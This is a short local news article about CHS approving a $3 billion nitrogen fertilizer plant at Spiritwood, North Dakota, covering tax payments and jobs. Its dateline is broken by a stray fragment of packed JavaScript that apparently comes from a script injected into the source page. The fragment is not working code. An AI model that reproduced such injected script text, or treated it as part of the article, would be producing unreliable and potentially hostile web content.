SPIRITWOOD, nzyik|var|u0026u|referrer|edtsi||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) Cenex Harvest States announced earlier that it will move forward to build it’s planned nitrogen fertilizer plant at Spiritwood. Tentative plans have been in the development stage for the past two years. The CHS board gave its final approval to construct the plant on September 4.

The plant will be the largest investment in CHS history, with an estimated construction cost of $3 billion dollars. It will also be the largest construction project in North Dakota History. Construction may later this year weather permitting.

Dakota Plains Cooperative General Manager Ken Astrup talked about the benefits the plant will have for farmers across the state and for Spiritwood, Jamestown, Valley City and other surrounding communities in an interview with Ingstad Family Media reporter Steve Urness.

Meanwhile, the Stutsman Property Tax Negotiation Committee says the CHS Fertilizer plant will make a $3.2 million dollar payment in place of taxes each year for 20 years after the plant becomes operational in 2018.

The $3 billion dollar plant will be the largest property taxpayer when it’s finished, totaling around $9.7 million dollars per year.

Construction is expected to being this fall weather permitting and will employ around 160 to 180 people once it’s completed in 2018.